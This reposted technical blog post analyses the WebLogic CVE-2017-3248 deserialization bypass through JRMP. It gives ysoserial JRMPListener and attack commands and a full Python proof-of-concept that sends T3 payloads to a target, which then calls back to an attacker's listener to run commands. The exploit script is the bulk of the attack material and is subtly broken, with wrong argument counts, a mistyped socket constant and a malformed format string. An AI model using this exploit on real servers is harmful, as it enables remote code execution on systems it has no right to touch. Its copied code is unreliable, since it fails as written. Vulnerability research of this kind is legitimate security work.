Weblogic 2017-3248 analysis of Java Security

Weblogic 2017-3248 analysis of Java Security

0x00 Preface

At the beginning, let's talk about the previous bypass methods. The previous bypass methods use streammessageimpl and marshaledobject to encapsulate the objects of gadgets respectively. In fact, this is essentially the same way, but it uses different classes to encapsulate it to achieve the bypass effect.

However, this bypass method is quite different from the previous two holes. Find a new deserialization point that is not in the blacklist. At this time, you can send unprocessed gadgets objects to execute arbitrary deserialization payload through jrmp protocol. The following bypass methods are basically based on this remote method.

0x01 jrmp overview

Here, let's briefly talk about the relevant contents of jrmp protocol. Jrmp is a Java Remote Method protocol, which is based on TCP / IP and RMI protocol. That is to say, the jrmp protocol is used at the bottom of RMI protocol for transmission.

RMI uses jrmp by default to transfer data, and jrmp protocol can only act on RMI protocol. The jrmp module of ysoserial is needed here.

0x02 vulnerability analysis

hum about

The jrmp module of ysoserial needs to be used in vulnerability exploitation. Let's not talk about the composition and analysis of the function of the module. Here, we need to know the specific function and bypass mode, and think about why this point can be bypassed.

Bypass ideas:

The previous class is used to encapsulate the payload. This method has pulled the previous two patches into the blacklist in the later patch, and in this vulnerability, the remote method is used for command execution. We will set up a jrmplistener service on the server, and then send payload through T3 protocol to make Weblogic automatically request our jrmplistener. At this time, jrmplistener will return a gadgets object. Jrmp is based on the protocol under RMI. In the transmission process, the serialized data transmitted will be deserialized after receiving. In this way, when the gadgets object is returned, our gadgets object will be deserialized. Achieve the effect of command execution. It also bypasses the restriction of blacklist.

Loophole recurrence

Here, start a jrmplistener to make Weblogic request our jrmplistener to return the gadgets object. In fact, this function has been integrated in YSO tool.

java -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/2017-3248'
python cve2017-3248.py 192.168.199.105 7001 ysoserial.jar 192.168.199.234 9999 JRMPClient

Use cve2017-3248 Pyexp sends a payload to the Weblogic of the target. In fact, the payload content is also a gadgets object generated by the jrmpclient module of ysoserial. After deserialization, the set jrmplistener will be connected.

Generally speaking, the exp is only a function of constructing T3 protocol to send payload.

After execution, the jrmpclient's gadgets object is sent to the target Weblogic through the T3 protocol. The T3 protocol deserializes it and deserializes the jrmpclient's gadgets object. The Weblogic will request the jrmplister, and the jrmplister returns a gadgets object that executes the command. Here, we set CC1 to execute the command to create a file. After returning to Weblogic through jrmp, deserialization will also be performed. Then the command was executed successfully.

The POC code is posted below

POC. py:

from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial,jrmp_listener_ip,jrmp_listener_port,jrmp_client):
    #generates ysoserial payload
    command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial,jrmp_client,jrmp_listener_port)
    print("command: " + command)
    os.system(command)
    bin_file = open('payload.out','rb').read()
    return binascii.hexlify(bin_file)


def t3_handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('handshake successful')


def build_t3_request_object(sock,port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock,data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception:
        pass
    return res


def exploit(dip,dport,path_ysoserial,jrmp_client):
    sock = socket.socket(socket.AF_INET,socket.soCK_STREAM)
    sock.settimeout(65)
    server_addr = (dip,dport)
    t3_handshake(sock,server_addr)
    build_t3_request_object(sock,dport)
    payload = generate_payload(path_ysoserial,jrmp_client)
    print("payload: " + payload)
    rs=send_payload_objdata(sock,payload)
    print('response: ' + rs)
    print('exploit completed!')


if __name__=="__main__":
    #check for args,print usage if incorrect
    if len(sys.argv) != 7:
        print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
              '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
        sys.exit()

    dip = sys.argv[1]
    dport = int(sys.argv[2])
    path_ysoserial = sys.argv[3]
    jrmp_listener_ip = sys.argv[4]
    jrmp_listener_port = sys.argv[5]
    jrmp_client = sys.argv[6]
    exploit(dip,jrmp_client)

Vulnerability analysis

Let's analyze the vulnerability.

The passed object name will be obtained at the breakpoint. The object here is not in the blacklist. If it is judged as a blacklist, an exception will be thrown directly.

The next step is here

The next step is to call the resolveclass method of the parent class.

Some parts below cannot be tracked. It may be that the version is not adjusted correctly. Versions 1.6 and 1.8 are used here. At org apache. commons. collections. Functions #transform method, first view the execution at a breakpoint.

Go down the call stack to see the specific call process.

This is where the data passed by our Weblogic T3 protocol is deserialized. Go up from this point and find that the readObject method of remoteobject is called here, and the readObject is rewritten here.

Then look up from the call stack

It is found that the readObject method of annotationinvocationhandler is executed above, which means that the gadget object of jrmpclient in the previous paragraph is deserialized, receives the request returned by jrmpjrmplistener, and then performs deserialization. If the annotationinvocationhandler overrides the readObject, it will go to the readObject step of the annotationinvocationhandler. The steps are simplified.

There's no need to say when you get here

Go to this step to execute the command.

0x03 end

In fact, it has ended here, but you will find that many points have not been analyzed, but just blindly write the utilization points. Because I don't know much about the module execution of jrmp and the bottom layer of RMI, I dare not make a conclusion here. I think the focus of this vulnerability is also in these two knowledge points. So here is the end of the scribble. Later, we will make a detailed analysis of these two knowledge points. I saw a master's article analyzed in detail and posted it here to worship a wave of cve-2017-3248 - Preliminary Exploration of Weblogic deserialization.

The content of this article comes from the network collection of netizens. It is used as a learning reference. The copyright belongs to the original author.
THE END
分享
二维码
< <上一篇
下一篇>>